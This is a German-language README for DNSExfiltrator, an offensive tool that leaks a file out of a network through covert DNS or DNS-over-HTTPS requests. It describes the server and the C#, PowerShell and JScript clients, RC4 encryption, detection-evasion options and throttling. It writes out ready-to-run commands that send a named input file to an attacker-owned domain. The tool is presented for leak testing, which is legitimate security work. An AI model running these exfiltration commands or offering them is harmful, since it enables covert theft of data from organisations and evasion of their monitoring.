
Datenexfiltration über verdeckten DNS-Request-Kanal
Autor: Arno0x0x - @Arno0x0x
DNSExfiltrator ermöglicht die Übertragung (Exfiltration) einer Datei über einen verdeckten DNS-Anforderungskanal. Im Grunde ist dies ein Tool zum Testen von Datenlecks, das die Exfiltration von Daten über einen verdeckten Kanal erlaubt.
DNSExfiltrator besteht aus zwei Seiten:
dnsexfiltrator.py) daherkommt und als benutzerdefinierter DNS-Server fungiert, der die Datei empfängt.dnsExfiltrator.cs: Ein C#-Skript, das mit csc.exe kompiliert werden kann, um eine verwaltete Windows-Ausführungsdatei zu erhalten.Invoke-DNSExfiltrator.ps1: Ein PowerShell-Skript, das dieselben Funktionen bietet, indem es die dnsExfiltrator-Assembly kapselt.dnsExfiltrator.js: Ein JScript-Skript, das eine Konvertierung der dnsExfiltrator-DLL-Assembly mit DotNetToJScript ist und dieselben Funktionen bietet.Damit das Ganze funktioniert, müssen Sie eine Domain besitzen und den DNS-Eintrag (NS) für diese Domain auf den Server setzen, der die Serverseite von dnsexfiltrator.py ausführt.
Standardmäßig verwendet DNSExfiltrator den systemdefinierten DNS-Server, Sie können aber auch einen bestimmten angeben (nützlich für Debugging-Zwecke oder um die Serverseite lokal auszuführen).
Alternativ kann DNSExfiltrator mit dem Parameter h DoH (DNS over HTTP) über die Google- oder CloudFlare-DoH-Server durchführen.
Standardmäßig werden die zu exfiltrierenden Daten base64URL-kodiert, um in DNS-Anfragen zu passen. Einige DNS-Resolver könnten diese Kodierung jedoch zerstören (fairerweise, da FQDNs nicht case-sensitiv sein sollen), indem sie die Groß-/Kleinschreibung verändern, was für den Kodierungs-/Dekodierungsprozess offensichtlich wichtig ist. Um dieses Problem zu umgehen, können Sie das Flag -b32 verwenden, um eine Base32-Kodierung der Daten zu erzwingen, was einen geringfügigen Größenzuschlag mit sich bringt. Wenn Sie CloudFlare-DoH verwenden, wird die Base32-Kodierung automatisch angewendet.
DNSExfiltrator unterstützt eine grundlegende RC4-Verschlüsselung der exfiltrierten Daten, wobei das angegebene Passwort zum Ver- und Entschlüsseln der Daten verwendet wird.
DNSExfiltrator bietet außerdem einige optionale Funktionen zur Erkennungsvermeidung:
Die einzige Abhängigkeit besteht auf der Serverseite, da das Skript dnsexfiltrator.py auf der externen Bibliothek dnslib basiert. Sie können es mit pip installieren:
pip install -r requirements.txt
SERVERSEITE
Starten Sie das Skript dnsexfiltrator.py mit dem Domainnamen und dem Entschlüsselungspasswort:
root@kali:~# ./dnsexfiltrator.py -d mydomain.com -p password
CLIENTSEITE
Sie können entweder die kompilierte Version, oder den PowerShell-Wrapper (im Grunde dasselbe) oder den JScript-Wrapper verwenden. In jedem Fall sind die Parameter gleich, mit einem kleinen Unterschied in der Art und Weise, wie sie in PowerShell übergeben werden.
1/ Verwendung der kompilierten C#-Windows-Exe (die Sie im Verzeichnis release finden):
dnsExfiltrator.exe <file> <domainName> <password> [-b32] [h=google|cloudflare] [s=<DNS_server>] [t=<throttleTime>] [r=<requestMaxSize>] [l=<labelMaxSize>]
file: [ERFORDERLICH] Der Dateiname der zu exfiltrierenden Datei.
domainName: [ERFORDERLICH] Der Domainname, der für DNS-Anfragen verwendet werden soll.
password: [ERFORDERLICH] Passwort zur Verschlüsselung der zu exfiltrierenden Daten.
-b32: [OPTIONAL] Verwendung der Base32-Kodierung der Daten. Kann von manchen DNS-Resolver erforderlich sein, die die Groß-/Kleinschreibung brechen.
h: [OPTIONAL] Verwendung von Google- oder CloudFlare-DoH-Servern (DNS over HTTP).
DNS_Server: [OPTIONAL] Der DNS-Servername oder die IP, der/die für DNS-Anfragen verwendet werden soll. Standardmäßig der systemeigene.
throttleTime: [OPTIONAL] Die Zeit in Millisekunden, die zwischen jeder DNS-Anfrage gewartet werden soll.
requestMaxSize: [OPTIONAL] Die maximale Größe in Bytes für jede DNS-Anfrage. Standardmäßig 255 Bytes.
labelMaxSize: [OPTIONAL] Die maximale Größe in Zeichen für jedes DNS-Anfragen-Label (Subdomain). Standardmäßig 63 Zeichen.
2/ Bei Verwendung des PowerShell-Skripts rufen Sie es auf eine Ihrer bevorzugten Arten auf (Sie kennen wahrscheinlich unzählige Möglichkeiten, ein PowerShell-Skript aufzurufen) zusammen mit den Skriptparametern. Einfachstes Beispiel:
c:\DNSExfiltrator> powershell
PS c:\DNSExfiltrator> Import-Module .\Invoke-DNSExfiltrator.ps1
PS c:\DNSExfiltrator> Invoke-DNSExfiltrator -i inputFile -d mydomain.com -p password -s my.dns.server.com -t 500
[...]
Weitere Verwendungsbeispiele finden Sie im Abschnitt EXAMPLES in der Skriptdatei.

3/ Bei Verwendung des JScript-Skripts übergeben Sie die exakt gleichen Argumente wie bei der eigenständigen Windows-Exe:
cscript.exe dnsExiltrator.js inputFile mydomain.com password
Oder mit einigen Optionen:
cscript.exe dnsExiltrator.js inputFile mydomain.com password s=my.dns.server.com t=500
Dieses Tool ist nur für legale und legitime Zwecke bestimmt:
Zitat der Empire-Autoren: Es gibt keine Möglichkeit, offensive Tools zu entwickeln, die für die legitime Informationssicherheitsbranche nützlich sind, und gleichzeitig zu verhindern, dass böswillige Akteure sie missbrauchen.